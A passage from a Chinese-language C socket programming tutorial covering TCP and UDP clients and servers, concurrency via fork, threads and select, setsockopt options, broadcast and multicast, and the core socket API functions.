    int sfd = tcp_init(argv[1], atoi(argv[2]));  //或int sfd = tcp_init("192.168.0.164", 8888);

    while(1) //用while循环表示可以与多个客户端接收和发送,但仍是阻塞模式的

    {

    int cfd = tcp_accept(sfd);

    char buf[512] = {0};

    if(recv(cfd, buf, sizeof(buf), 0) == -1)//从cfd客户端接收数据存于buf中

    {

    perror("recv");

    close(cfd);

    close(sfd);

    exit(-1);

    }

    puts(buf);

    if(send(cfd, "hello world", 12, 0) == -1)//从buf中取向cfd客户端发送数据

    {

    perror("send");

    close(cfd);

    close(sfd);

    exit(-1);

    }

    close(cfd);

    }

        close(sfd);

    }

    客户端: tcp_net_client.c

    #include "tcp_net_socket.h"

    int main(int argc, char* argv[])

    {

        if(argc < 3)

        {

    printf("usage:./clienttcp  ip  port\n");

    exit(-1);

        }

        int sfd = tcp_connect(argv[1],atoi(argv[2]));

        char buf[512] = {0};

        send(sfd, "hello", 6, 0);     //向sfd服务端发送数据

        recv(sfd, buf, sizeof(buf), 0); //从sfd服务端接收数据

        puts(buf);

        close(sfd);

    }

    #gcc –o tcp_net_server tcp_net_server.c tcp_net_socket.c

    #gcc –o tcp_net_client tcp_net_client.c tcp_net_socket.c

    #./tcp_net_server 192.168.0.164 8888

    #./tcp_net_client 192.168.0.164 8888

    /* 备注

    可以通过将上述经常用到的函数做成动态库,这样以后再用到的时候就可以直接用。步骤如下:

    gcc –fpic –c tcp_net_socket.c –o tcp_net_socket.o

    gcc –shared tcp_net_socket.o –o libtcp_net_socket.so

    cp lib*.so /lib    //这样以后就可以直接使用该库了

    cp tcp_net_socket.h /usr/include/    //这样头文件包含可以用include <tcp_net_socket.h>了

    gcc –o main main.c –ltcp_net_socket  //其中main.c要包含头文件 :  include <tcp_net_socket.h>

    ./main

    */

    注:上面的虽然可以实现多个客户端访问,但是仍然是阻塞模式(即一个客户访问的时候会阻塞不让另外的客户访问)。解决办法有:

    1. 多进程(因为开销比较大,所以不常用)

    #include <tcp_net_socket.h>

     

    int main()

    {

    int sfd = tcp_init("192.168.0.101", 8888);

    while(1)

    {

    int cfd = tcp_accept(sfd);

    if(fork() == 0)

    {

    send(cfd, "hello", 6, 0);

    sleep(10);

    close(cfd);

    }

    else

    {

    close(cfd);

    }

    }

    close(sfd);

    return 0;

    }

    1. 多线程

    #include <tcp_net_socket.h>

    #include <pthread.h>

     

    void* pthfunc(void* arg)

    {

    int cfd = (int)arg;

    send(cfd, "hello", 6, 0);

    sleep(10);

    close(cfd);

    }

     

    int main()

    {

    int sfd = tcp_init("192.168.0.101", 8888);

    pthread_t pthid = 0;

    while(1)

    {

        int cfd = tcp_accept(sfd);

        pthread_create(&pthid, NULL, pthfunc, (void*)cfd);

    }

        close(sfd);

    return 0;

    }

    /* 备注 读写大容量的文件时,通过下面的方法效率很高

    ssize_t readn(int fd, char *buf, int size)//读大量内容

    {

    char *pbuf = buf;

    int total ,nread;

    for(total = 0; total < size; )

    {

    nread=read(fd,pbuf,size-total);

    if(nread==0)

           return total;

        if(nread == -1)

        {

          if(errno == EINTR)

              continue;

          else

             return -1;

        }

        total += nread;

        pbuf += nread;

        }

       return total;

    }

    ssize_t writen(int fd, char *buf, int size)//写大量内容

    {

       char *pbuf=buf;

       int total ,nwrite;

       for(total = 0; total < size; )

       {

          nwrite=write(fd,pbuf,size-total);

      if( nwrite <= 0 )

      {

       if( nwrite == -1 && errno == EINTR )

    continue;

       else

        return -1;

      }

         total += nwrite;

         pbuf += nwrite;

       }

      return total;

    }

    */

    1. 调用fcntl将sockfd设置为非阻塞模式。(不常见)

    #include <unistd.h>

    #include <fcntl.h>

    ……

    sockfd = socket(AF_INET,SOCK_STREAM,0);

    iflags = fcntl(sockfd, F_GETFL, 0);

    fcntl(sockfd,F_SETFL,O_NONBLOCK | iflags);

    ……

    1. 多路选择select

    #include <sys/select.h>

    #include "tcp_net_socket.h"

    #define MAXCLIENT 10

    main()

    {

    int sfd = tcp_init("192.168.0.164", 8888);

    int fd = 0;

    char buf[512] = {0};

    fd_set rdset;

    while(1)

    {

    FD_ZERO(&rdset);

    FD_SET(sfd,&rdset);

    if(select(MAXCLIENT + 1, &rdset, NULL, NULL, NULL) < 0)

    continue;

    for(fd = 0; fd < MAXCLIENT; fd++)

    {

    if(FD_ISSET(fd,&rdset))

    {

    if(fd == sfd)

    {

    int cfd = tcp_accept(sfd);

    FD_SET(cfd,&rdset);

    //……

    }

    else

    {

    bzero(buf, sizeof(buf));

    recv(fd, buf, sizeof(buf), 0);

    puts(buf);

    send(fd, "java", 5, 0);

    //FD_CLR(fd, &rdset);

    close(fd);

    }

    }

    }

    }

    close(sfd);

    }

    具体例子请参考《网络编程之select.doc》或《tcp_select》

    3.2. 使用UDP协议的流程图

    UDP通信流程图如下:

    服务端:socket---bind---recvfrom---sendto---close

    客户端:socket----------sendto---recvfrom---close

     

    ·sendto()函数原型:

    int sendto(int sockfd, const void *msg,int len,unsigned int flags,const struct sockaddr *to, int tolen);

    该函数比send()函数多了两个参数,to表示目地机的IP地址和端口号信息,而tolen常常被赋值为sizeof (struct sockaddr)。sendto 函数也返回实际发送的数据字节长度或在出现发送错误时返回-1。

    ·recvfrom()函数原型:

    int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr *from,int *fromlen);

    from是一个struct sockaddr类型的变量,该变量保存连接机的IP地址及端口号。fromlen常置为sizeof (struct sockaddr)。当recvfrom()返回时,fromlen包含实际存入from中的数据字节数。Recvfrom()函数返回接收到的字节数或 当出现错误时返回-1,并置相应的errno。

    Example:UDP的基本操作

    服务器端:

    #include <sys/types.h>

    #include <sys/socket.h>

    #include <netinet/in.h>

    #include <arpa/inet.h>

    #include <unistd.h>

    #include <string.h>

    #include <stdio.h>

    #include <stdlib.h>

    main()

    {

        int sfd = socket(AF_INET, SOCK_DGRAM, 0);

        if(sfd == -1)

        {

            perror("socket");

            exit(-1);

        }

     

        struct sockaddr_in saddr;

        bzero(&saddr, sizeof(saddr));

        saddr.sin_family = AF_INET;

        saddr.sin_port = htons(8888);

        saddr.sin_addr.s_addr = INADDR_ANY;

        if(bind(sfd, (struct sockaddr*)&saddr, sizeof(struct sockaddr)) == -1)

        {

            perror("bind");

            close(sfd);

            exit(-1);

        }

     

        char buf[512] = {0};

        while(1)

        {

            struct sockaddr_in fromaddr;

            bzero(&fromaddr, sizeof(fromaddr));

            int fromaddrlen = sizeof(struct sockaddr);

            if(recvfrom(sfd, buf, sizeof(buf), 0, (struct sockaddr*)&fromaddr, &fromaddrlen) == -1)

            {

                perror("recvfrom");

                close(sfd);

                exit(-1);

            }

    printf("receive from %s %d,the message is:%s\n", inet_ntoa(fromaddr.sin_addr), ntohs(fromaddr.sin_port), buf);

     

            sendto(sfd, "world", 6, 0, (struct sockaddr*)&fromaddr, sizeof(struct sockaddr));

    }

     

        close(sfd);

    }

    客户端:

    #include <sys/types.h>

    #include <sys/socket.h>

    #include <netinet/in.h>

    #include <arpa/inet.h>

    #include <unistd.h>

    #include <string.h>

    #include <stdio.h>

    #include <stdlib.h>

    int main(int argc, char* argv[])

    {

        int sfd = socket(AF_INET, SOCK_DGRAM, 0);

        if(sfd == -1)

        {

            perror("socket");

            exit(-1);

        }

     

        struct sockaddr_in toaddr;

        bzero(&toaddr, sizeof(toaddr));

        toaddr.sin_family = AF_INET;

        toaddr.sin_port = htons(atoi(argv[2])); //此处的端口号要跟服务器一样

        toaddr.sin_addr.s_addr = inet_addr(argv[1]); //此处为服务器的ip

        sendto(sfd, "hello", 6, 0, (struct sockaddr*)&toaddr, sizeof(struct sockaddr));

     

        char buf[512] = {0};

        struct sockaddr_in fromaddr;

        bzero(&fromaddr, sizeof(fromaddr));

        int fromaddrlen = sizeof(struct sockaddr);

        if(recvfrom(sfd, buf, sizeof(buf), 0, (struct sockaddr*)&fromaddr, &fromaddrlen) == -1)

        {

            perror("recvfrom");

            close(sfd);

            exit(-1);

        }

    printf("receive from %s %d,the message is:%s\n", inet_ntoa(fromaddr.sin_addr), ntohs(fromaddr.sin_port), buf);

     

        close(sfd);

    }

    Example:UDP发送文件  先发文件大小  再发文件内容

    服务器端:

    #include <sys/types.h>

    #include <sys/socket.h>

    #include <netinet/in.h>

    #include <arpa/inet.h>

    #include <unistd.h>

    #include <fcntl.h>

    #include <sys/stat.h>

    #include <string.h>

    #include <stdio.h>

    #include <stdlib.h>

    main()

    {

        int sfd = socket(AF_INET, SOCK_DGRAM, 0);

        if(sfd == -1)

        {

            perror("socket");

            exit(-1);

        }

     

        struct sockaddr_in saddr;

        bzero(&saddr, sizeof(saddr));

        saddr.sin_family = AF_INET;

        saddr.sin_port = htons(8888);

        saddr.sin_addr.s_addr = INADDR_ANY;

        if(bind(sfd, (struct sockaddr*)&saddr, sizeof(struct sockaddr)) == -1)

        {

            perror("bind");

            close(sfd);

            exit(-1);

        }

     

        char buf[512] = {0};

        struct sockaddr_in fromaddr;

        bzero(&fromaddr, sizeof(fromaddr));

        int fromaddrlen = sizeof(struct sockaddr);

        if(recvfrom(sfd, buf, sizeof(buf), 0, (struct sockaddr*)&fromaddr, &fromaddrlen) == -1)

        {

            perror("recvfrom");

            close(sfd);

            exit(-1);

        }

        printf("receive from %s %d,the message is:%s\n", inet_ntoa(fromaddr.sin_addr), ntohs(fromaddr.sin_port), buf);

        

        FILE* fp = fopen("1.txt","rb");

        struct stat st;  //用于获取文件内容的大小

        stat("1.txt", &st);

        int filelen = st.st_size;

        sendto(sfd, (void*)&filelen, sizeof(int), 0, (struct sockaddr*)&fromaddr, sizeof(struct sockaddr));

        while(!feof(fp))   //表示没有到文件尾

        {

            int len = fread(buf,1,sizeof(buf),fp);

            sendto(sfd, buf, len, 0, (struct sockaddr*)&fromaddr, sizeof(struct sockaddr));

    }

     

        close(sfd);

    }

    客户端:

    #include <sys/types.h>

    #include <sys/socket.h>

    #include <netinet/in.h>

    #include <arpa/inet.h>

    #include <unistd.h>

    #include <string.h>

    #include <stdio.h>

    #include <stdlib.h>

    #define BUFSIZE 512

    int main(int argc, char* argv[])

    {

        int sfd = socket(AF_INET, SOCK_DGRAM, 0);

        if(sfd == -1)

        {

            perror("socket");

            exit(-1);

        }

     

        struct sockaddr_in toaddr;

        bzero(&toaddr, sizeof(toaddr));

        toaddr.sin_family = AF_INET;

        toaddr.sin_port = htons(atoi(argv[2]));

        toaddr.sin_addr.s_addr = inet_addr(argv[1]);

        sendto(sfd, "hello", 6, 0, (struct sockaddr*)&toaddr, sizeof(struct sockaddr));

     

        char buf[BUFSIZE] = {0};

        struct sockaddr_in fromaddr;

        bzero(&fromaddr, sizeof(fromaddr));

        int fromaddrlen = sizeof(struct sockaddr);

        int filelen = 0;   //用于保存文件长度

        FILE* fp = fopen("2.txt","w+b");

    //接收文件的长度

    recvfrom(sfd, (void*)&filelen, sizeof(int), 0, (struct sockaddr*)&fromaddr, &fromaddrlen);

        printf("the length of file is %d\n",filelen);

        printf("Create a new file!\n");

        printf("begin to reveive file content!\n");

        //接收文件的内容

    while(1)

        {

            int len = recvfrom(sfd, buf, sizeof(buf), 0, (struct sockaddr*)&fromaddr, &fromaddrlen);

            if(len < BUFSIZE)

    //如果接收的长度小于BUFSIZE,则表示最后一次接收,此时要用break退出循环

            {

                fwrite(buf,sizeof(char),len,fp);

                break;

            }

            fwrite(buf,sizeof(char),len,fp);

        }

        printf("receive file finished!\n");

        close(sfd);

    }

    3.3. 设置套接口的选项setsockopt的用法

    函数原型:

    #include <sys/types.h >

      #include <sys/socket.h>

      int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);

    sockfd:标识一个套接口的描述字

    level:选项定义的层次;支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6

    optname:需设置的选项

    optval:指针,指向存放选项值的缓冲区

    optlen:optval缓冲区长度

     

    全部都必须要放在bind之前,另外通常是用于UDP的。

    1. 如果在已经处于 ESTABLISHED状态下的socket(一般由端口号和标志符区分)调用closesocket(一般不会立即关闭而经历TIME_WAIT的过程)后想继续重用该socket:

    int reuse=1;

    setsockopt(s,SOL_SOCKET ,SO_REUSEADDR,(const char*)& reuse,sizeof(int));

    2. 如果要已经处于连接状态的soket在调用closesocket后强制关闭,不经历TIME_WAIT的过程:

    int reuse=0;

    setsockopt(s,SOL_SOCKET ,SO_REUSEADDR,(const char*)& reuse,sizeof(int));

    3.在send(),recv()过程中有时由于网络状况等原因,发收不能预期进行,而设置收发时限:

    int nNetTimeout=1000; // 1秒

    // 发送时限

    setsockopt(socket,SOL_S0CKET,SO_SNDTIMEO,(char *)&nNetTimeout,sizeof(int));

    // 接收时限

    setsockopt(socket,SOL_S0CKET,SO_RCVTIMEO,(char *)&nNetTimeout,sizeof(int));

    4.在send()的时候,返回的是实际发送出去的字节(同步)或发送到socket缓冲区的字节(异步),系统默认的状态发送和接收一次为8688字节(约为8.5K);在实际的过程中发送数据和接收数据量比较大,可以设置socket缓冲区,而避免了send(),recv()不断的循环收发:

    // 接收缓冲区

    int nRecvBuf=32*1024;    // 设置为32K

    setsockopt(s,SOL_SOCKET,SO_RCVBUF,(const char*)&nRecvBuf,sizeof(int));

    // 发送缓冲区

    int nSendBuf=32*1024;    // 设置为32K

    setsockopt(s,SOL_SOCKET,SO_SNDBUF,(const char*)&nSendBuf,sizeof(int));

    5. 如果在发送数据时,希望不经历由系统缓冲区到socket缓冲区的拷贝而影响程序的性能:

    int nZero=0;

    setsockopt(socket,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(int));

    6.同上在recv()完成上述功能(默认情况是将socket缓冲区的内容拷贝到系统缓冲区):

    int nZero=0;

    setsockopt(socket,SOL_SOCKET,SO_RCVBUF,(char *)&nZero,sizeof(int));

    7.一般在发送UDP数据报的时候,希望该socket发送的数据具有广播特性:

    int bBroadcast = 1;

    setsockopt(s,SOL_SOCKET,SO_BROADCAST,(const char*)&bBroadcast,sizeof(int));

    3.4. 单播、广播、组播(多播)

    多播广播是用于建立分步式系统:例如网络游戏、ICQ聊天构建、远程视频会议系统的重要工具。使用多播广播的程序和UDP的单播程序相似。区别在于多播广播程序使用特殊的IP地址。

    对于单播而言,单播用于两个主机之间的端对端通信。

    对于广播而言,广播用于一个主机对整个局域网上所有主机上的数据通信。广播只能用于客户机向服务器广播,因为客户机要指明广播的IP地址“192.168.0.255”和广播的端口号。服务器端bing的时候,绑定的端口号要跟广播的端口号是同一个。这样才能收到广播消息。实例请参考《udp_广播》。

    对于多播而言,也称为“组播”,将网络中同一业务类型主机进行了逻辑上的分组,进行数据收发的时候其数据仅仅在同一分组中进行,其他的主机没有加入此分组不能收发对应的数据。单播和广播是两个极端,要么对一个主机进行通信,要么对整个局域网上的主机进行通信。实际情况下,经常需要对一组特定的主机进行通信,而不是整个局域网上的所有主机,这就是多播的用途。例如,我们通常所说的讨论组。IPv4多播地址采用D类IP地址确定多播的组。在Internet中,多播地址范围是从224.0.0.0到234.255.255.255。

    多播的程序设计也要使用setsockopt()函数和getsockopt()函数来实现。其中对于setsockopt的第二个参数level不再是SOL_SOCKET,而是IPPROTO_IP;而且第三个参数optname常见的选项有:

    optname

    含 义

    IP_ADD_MEMBERSHIP

    在指定接口上加入组播组

    IP_DROP_MEMBERSHIP

    退出组播组

    选项IP_ADD_MEMBERSHIP和IP_DROP_MEMBERSHIP加入或者退出一个组播组,通过选项IP_ADD_MEMBERSHIP和IP_DROP_MEMBERSHIP,对一个结构struct ip_mreq类型的变量进行控制。

    struct ip_mreq原型如下:

    struct ip_mreq

    {

    struct in_addr    imr_multiaddr; /*加入或者退出的多播组IP地址*/

    struct in_addr    imr_interface; /*加入或者退出的网络接口IP地址,本机IP*/

    };

    选项IP_ADD_MEMBERSHIP用于加入某个多播组,之后就可以向这个多播组发送数据或者从多播组接收数据。此选项的值为mreq结构,成员imr_multiaddr是需要加入的多播组IP地址,成员imr_interface是本机需要加入多播组的网络接口IP地址。例如:

    struct ip_mreq mreq;

    memset(&mreq, 0, sizeof(struct ip_mreq));

    mreq.imr_interface.s_addr = INADDR_ANY;

    mreq.imr_multiaddr.s_addr = inet_addr("224.1.1.1");

    if(-1 == setsockopt(sfd, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(struct ip_mreq)))

    {

    perror("setsockopt");

    exit(-1);

    }

    接下来再绑定组播的port号(如65000),就可以接收组播消息了。实例请参考《udp_组播》

    选项IP_ADD_MEMBERSHIP每次只能加入一个网络接口的IP地址到多播组,但并不是一个多播组仅允许一个主机IP地址加入,可以多次调用IP_ADD_MEMBERSHIP选项来实现多个IP地址加入同一个广播组,或者同一个IP地址加入多个广播组。

    选项IP_DROP_MEMBERSHIP用于从一个多播组中退出。例如:

    if(-1 == setsockopt(sfd, IPPROTP_IP, IP_DROP_MEMBERSHIP, &mreq, sizeof(struct ip_mreq)))

    {

    perror("setsockopt");

    exit(-1);

    }

    展开全文
  • 网络编程 socket通信 TCP+UDP

    (1) socket套接字

    是一个编程接口

    是一种特殊的文件描述符(起源于Unix,“everything in Unix is a file”,都可以用“打开open –> 读写write/read –> 关闭close”模式来操作)

    是应用层与TCP/IP协议族通信的中间软件抽象层

    在设计模式中,Socket其实就是一个门面模式(系统对外界提供单一的接口,外部不需要了解内部的实现)

    并不仅限于TCP/IP协议

    面向连接(Transmission Control Protocol - TCP/IP)

    无连接(User Datagram Protocol-UDP 和 Inter-Network Packet Exchange-IPX)



    Socket层级说明


    (2) 常见的socket有3种类型

        <1> 流式socket(SOCK_STREAM ) 
        流式套接字提供可靠的、面向连接的通信流;它使用TCP 协议,从而保证了数据传输的正确性和顺序性。 
        <2> 数据报socket(SOCK_DGRAM ) 
        数据报套接字定义了一种无连接的服 ,数据通过相互独立的报文进行传输,是无序的,并且不保证是可靠、无差错的。它使用数据报协议UDP。 
        <3> 原始socket(SOCK_RAW)
        原始套接字允许对底层协议如IP或ICMP进行直接访问,功能强大但使用较为不便,主要用于一些协议的开发。


    (3) 面向TCP数据流的socket通信 + 面向UDP数据报的socket通信


    TCP客户-服务器程序设计基本框架



    TCP三次握手四次挥手时序图



    UDP客户-服务器程序设计基本框架


    TCP优缺点:
    优点:
       1.TCP提供以认可的方式显式地创建和终止连接。
       2.TCP保证可靠的、顺序的(数据包以发送的顺序接收)以及不会重复的数据传输。
       3.TCP处理流控制。
       4.允许数据优先
       5.如果数据没有传送到,则TCP套接口返回一个出错状态条件。
       6.TCP通过保持连续并将数据块分成更小的分片来处理大数据块。—无需程序员知道
    缺点:TCP在转移数据时必须创建(并保持)一个连接。这个连接给通信进程增加了开销,让它比UDP速度要慢。

    UDP优缺点:
    优点:
       1.UDP不要求保持一个连接
       2.UDP没有因接收方认可收到数据包(或者当数据包没有正确抵达而自动重传)而带来的开销。
       3.设计UDP的目的是用于短应用和控制消息
       4.在一个数据包连接一个数据包的基础上,UDP要求的网络带宽比TDP更小。
    缺点:不保证传输可靠性


    (4) 常用函数

    1.socket函数:为了执行网络输入输出,一个进程必须做的第一件事就是调用socket函数获得一个文件描述符

    int socket(int family, int type, int protocol);

    ————————————————————————————————————

    family:指明了协议族/域,通常AF_INET、AF_INET6、AF_LOCAL等;

    type:是套接口类型,主要SOCK_STREAM、SOCK_DGRAM、SOCK_RAW;

    protocol:一般取为0。成功时,返回一个小的非负整数值,与文件描述符类似。

    ————————————————————————————————————

    返回值:非负描述符 – 成功,-1 - 出错


    2.bind函数:为套接口分配一个本地IP和协议端口,对于网际协议,协议地址是32位IPv4地址或128位IPv6地址与16位的TCP或UDP端口号的组合;如指定端口为0,调用bind时内核将选择一个临时端口,如果指定一个通配IP地址,则要等到建立连接后内核才选择一个本地IP地址。

    int bind(int sockfd, struct sockaddr *my_addr, int addrlen);

    ————————————————————————————————————

    sockfd:是socket函数返回的描述符;

    myaddr:指定了想要绑定的IP和端口号,均要使用网络字节序-即大端模式;

    addrlen:是前面struct sockaddr(与sockaddr_in等价)的长度。

    ————————————————————————————————————

    返回值:0 – 成功,-1 - 出错并将errno置为相应的错误号


    3.connect函数:该函数用于绑定之后的client端,与服务器建立连接

    int connect(int sockfd, struct sockaddr *serv_addr, int addrlen);

    ————————————————————————————————————

    sockfd:是本地sockect描述符

    serv_addr:是服务器端的IP地址和端口号的地址

    addrlen:常被设置为sizeof(struct sockaddr)

    ————————————————————————————————————

    // 通过此函数建立于TCP服务器的连接,实际是发起三次握手过程,仅在连接成功或失败后返回。参数sockfd是本地描述符,addr为服务器地址,addrlen是socket地址长度。

    // UDP的connect函数,结果与tcp调用不相同,没有三次握手过程。内核只是记录对方的ip和端口号,他们包含在传递给connect的套接口地址结

    构中,并立即返回给调用进程。

    返回值:0 – 成功,-1 - 出错并且errno中包含相应的错误码


    4.listen函数:设置能处理的最大连接数,listen()并未开始接受连线,只是设置sockect为listen模式

     int listen(int sockfd, int backlog); 

    ————————————————————————————————————

    sockfd:是socket系统调用返回的服务器端socket描述符

    backlog:指定在请求队列中允许的最大请求数

    ————————————————————————————————————

    对于给定的监听套接口,内核需要维护两个队列:未完成连接队列+已完成连接队列。 未完成连接队列:服务端正在等待完成TCP

    相应的三次握手,处于SYN_RCVD状态;已完成连接队列:为每个已完成TCP三次握手的客户开设一个条目,处于ESTABLISHED状态。

    返回值:0 – 成功,-1 - 出错


    5.accept函数:用来接受socket连接,由TCP服务器调用,从已完成连接队列头返回一个已完成连接,如果完成连接队列为空,则进程进入睡眠状态

    int accept(int sockfd, struct sockaddr *addr, int *addrlen); 

    ————————————————————————————————————

    sockfd:是服务器socket描述符

    addr:通常是一个指向sockaddr_in变量的指针,该变量用来存放提出连接请求的客户端地址

    addrten:通常为一个指向值为sizeof(struct sockaddr_in)的整型指针变量。

    ————————————————————————————————————

    // 第一个套接字称为监听套接字,返回值称为已连接套接字;一个给定的服务器常常只生成一个监听套接口且一直存在直到服务器

    关闭,内核为每个被接受的客户连接创建了一个已连接套接口(内核为它完成了TCP三次握手过程);当服务器完成某客户服务,关

    闭已连接套接口。

    返回值:成功-非负描述符,-1—错误并且设置相应的errno值


    6.send函数:TCP发送数据         

    int send(int sockfd, const void *buf, int len, int flags); 

    ————————————————————————————————————

    sockfd:发送端套接字描述符(非监听描述符)

    buf:应用要发送数据的缓存

    len:实际要发送的数据长度

    flags:一般设置为0

    ————————————————————————————————————

    返回值

    >0 – 成功拷贝至发送缓冲区的字节数(可能小于len),

    -1 – 出错,并置错误号errno.

    // 如果send在等待协议发送数据时出现网络断开的情况,则会返回-1。注意:send成功返回并不代表对方已接收到数据,如果后续

    的协议传输过程中出现网络错误,下一个send便会返回-1发送错误。TCP给对方的数据必须在对方给予确认时,方可删除发送缓冲区

    的数据。否则,会一直缓存在缓冲区直至发送成功(TCP可靠数据传输决定的)


    7.recv函数:TCP接受数据        

    int recv(int sockfd,void *buf,int len,unsigned int flags); 

    ————————————————————————————————————

    sockfd:接收端套接字描述符;

    buf:指定缓冲区地址,用于存储接收数据;

    len:指定的用于接收数据的缓冲区长度;

    flags:一般指定为0

    ————————————————————————————————————

    返回实际上接收的字节数,或当出现错误时,返回-1并置相应的errno值。

    // 阻塞模式下,recv/recvfrom将会阻塞到缓冲区里至少有一个字节(TCP)/至少有一个完整的UDP数据报才返回,没有数据时处于休

    眠状态。若非阻塞,则立即返回,有数据则返回拷贝的数据大小,否则返回错误-1,置错误码为EWOULDBLOCK。


    8.sendto函数:UDP发送数据,用于面向非连接的socket(SOCK_DGRAM/SOCK_RAW)

    int sendto(int sockfd, const void *buf,int len,unsigned int flags,const struct sockaddr *to,int tolen); 

    该函数比send()函数多了两个参数

    ————————————————————————————————————

    to:表示目地机的IP地址和端口号信息

    tolen:常常被赋值为sizeof (struct sockaddr)。

    ————————————————————————————————————

    返回实际发送的数据字节长度,在出现发送错误时返回-1。

    // 当本地与不同目的地址通信时,只需指定目的地址,可使用同一个UDP套接口描述符sockfd,而TCP要预先建立连接,每个连接都

    会产生不同的套接口描述符,体现在:客户端要使用不同的fd进行connect,服务端每次accept产生不同的fd。

    // 因为UDP没有真正的发送缓冲区,是不可靠连接,不必保存应用进程的数据拷贝,应用进程中的数据在沿协议栈向下传递时,以某

    种形式拷贝到内核缓冲区,当数据链路层把数据传出后就把内核缓冲区中数据拷贝删除。因此它不需要一个发送缓冲区。写UDP套接

    口的sendto/write返回表示应用程序的数据或数据分片已经进入链路层的输出队列,如果输出队列没有足够的空间存放数据,将返

    回错误ENOBUFS.



    9.recvform函数:UDP接受数据,用于面向非连接的socket(SOCK_DGRAM/SOCK_RAW)

    int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct sockaddr *from,int *fromlen);

    ————————————————————————————————————

    sockfd:接收端套接字描述

    buf:用于接收数据的应用缓冲区地址

    len:指名缓冲区大小

    flags:通常为0

    from:是一个struct sockaddr类型的变量,该变量保存源机的IP地址及端口号

    fromlen:常置为sizeof(struct sockaddr)。当recvfrom()返回时,fromlen包含实际存入from中的数据字节数

    ————————————————————————————————————

    返回接收到的字节数或当出现错误时返回-1,并置相应的errno

    // 阻塞模式下,recv/recvfrom将会阻塞到缓冲区里至少有一个字节(TCP)/至少有一个完整的UDP数据报才返回,没有数据时处于休

    眠状态。若非阻塞,则立即返回,有数据则返回拷贝的数据大小,否则返回错误-1,置错误码为EWOULDBLOCK。


    10.close函数

    close缺省功能是将套接字作“已关闭”标记,并立即返回到调用进程,该套接字描述符不能再为该进程所用:即不能作为read和

    write(send和recv)的参数,但是TCP将试着发送发送缓冲区内已排队待发的数据,然后按正常的TCP连接终止序列进行操作(断开

    连接4次握手)。


    11.shutdown函数

    shutdown不仅可以灵活控制关闭连接的读、写或读写功能,而且会立即执行相应的断开动作(发送终止连接的FIN分节等),此时不

    论有多少进程共享此套接字描述符,都将不能再进行收发数据。


    12.IP地址转换函数

    inet_aton() 和 inet_ntoa()

    int inet_aton(const char *strptr, struct in_addr *addrptr);
    将strptr所指的字符串转换成32位的网络字节序二进制值

    char *inet_ntoa(struct in_addr inaddr);

    将32位网络字节序二进制地址转换成点分十进制的字符串


    inet_addr()
    功能同上,返回转换后的地址-网络字节序

    in_addr_t inet_addr(const char *strptr);


    inet_network()

    in_addr_t inet_network(const char *cp);

    功能同上,将字符串形式转换为整数形式-主机字节序


    inet_pton() 和 inet_ntop()

    int inet_pton(int af, const char *src, void *dst);

    转换字符串到网络地址,将“点分十进制” -> “整数”

    const char *inet_ntop(int af, const void *src, char *dst, socklen_t cnt);

    转换网络二进制结构到ASCII类型的地址


    13. 字节序转换函数

    主机字节序到网络字节序:

    u_long htonl(u_long hostlong);

    u_short htons(u_short short);

    网络字节序到主机字节序

    u_long ntohl(u_long hostlong);

    u_short ntohs(u_short short);



    (5) 简单的通信实例

    1. 面向TCP字节流的socket通信

    TCP客户端:

    
    //int socket(int domain, int type, int protocol);
    //int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    //int listen(int sockfd, int backlog);
    //int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    //uint16_t htons(uint16_t hostshort);
    //int atoi(const char *nptr);
    //in_addr_t inet_addr(const char *cp);
    //void bzero(void *s, size_t n);
    //int listen(int sockfd, int backlog);
    //int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    //int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    
    #include 
    #include 
    #include 
    #include 		//Unix/Linux系统的基本系统数据类型的头文件
    #include 		//socket header file
    #include 		//socketaddr_in 结构体 + htons系统调用
    #include 		//inet_pton,inet_aton,inet_addr函数
    #include 			//POSIX标准定义的unix类系统定义符号常量的头文件,包含了许多UNIX系统服务的函数原型,例如read函数、write函数和getpid函数
    #include 			//close,open,create
    #include 		//进程间共享内存
    
    #define MYPORT 1234 
    #define BUFFER_SIZE 1024
    
    int main()
    {
    	//定义sockfd
    	int sock_client = socket(AF_INET,SOCK_STREAM,0);
    
        //定义sockaddr_in
    	struct sockaddr_in serveraddr;							//描述服务器地址: 类型、ip地址、端口结构体
    	memset(&serveraddr,0,sizeof(serveraddr));				//客户程序填充服务端的资料
    	serveraddr.sin_family = AF_INET;						//地址族
    	serveraddr.sin_port = htons(MYPORT);					//服务器端口
    	serveraddr.sin_addr.s_addr = inet_addr("123.321.121.212");	//服务器ip;客户端connect时,不能使用INADDR_ANY选项,必须指明要连接哪个服务器IP
    
        //客户程序发起连接请求,连接服务器,成功返回0,错误返回-1
    	//sock_client本地描述符;(struct sockaddr *)强制转换成sockaddr给操作系统用
    	if (connect(sock_client,(struct sockaddr *)&serveraddr,sizeof(serveraddr)) < 0)
    	{
    		perror("connect is not built!");
    		exit(1);		//0表示正常退出,其他返回值表示非正常退出
    	}
    
    	char sendbuf[BUFFER_SIZE];
    	char recvbuf[BUFFER_SIZE];
    	while (fgets(sendbuf,sizeof(sendbuf),stdin) != NULL)
    	{
    		send(sock_client,sendbuf,strlen(sendbuf),0);	//发送
    		if (strcmp(sendbuf,"exit\n") == 0)
    			break;
    
    		recv(sock_client,recvbuf,sizeof(recvbuf),0);	//接收
    		fputs(recvbuf,stdout);
    		memset(sendbuf,0,sizeof(sendbuf));
    		memset(recvbuf,0,sizeof(recvbuf));
    	}
    	//结束通讯
    	close(sock_client);
    	return 0;
    }
    

    TCP服务器:
    
    #include 				//socket();bind();listen():accept();listen();accept();connect();
    #include 				//socket();bind();listen():accept();inet_addr();listen():accept();connect();
    #include 
    #include 				//inet_addr()
    #include 				//htons();inet_addr()
    #include 					//close()
    #include 
    #include 					//atoi();exit();
    #include 
    #include 
    
    #define MYPORT  1234
    #define QUEUE   20
    #define BUFFER_SIZE 1024
    
    int main()
    {
        ///定义sockfd
    	int sockfd_server = socket(AF_INET,SOCK_STREAM,0);
    
        ///定义sockaddr_in
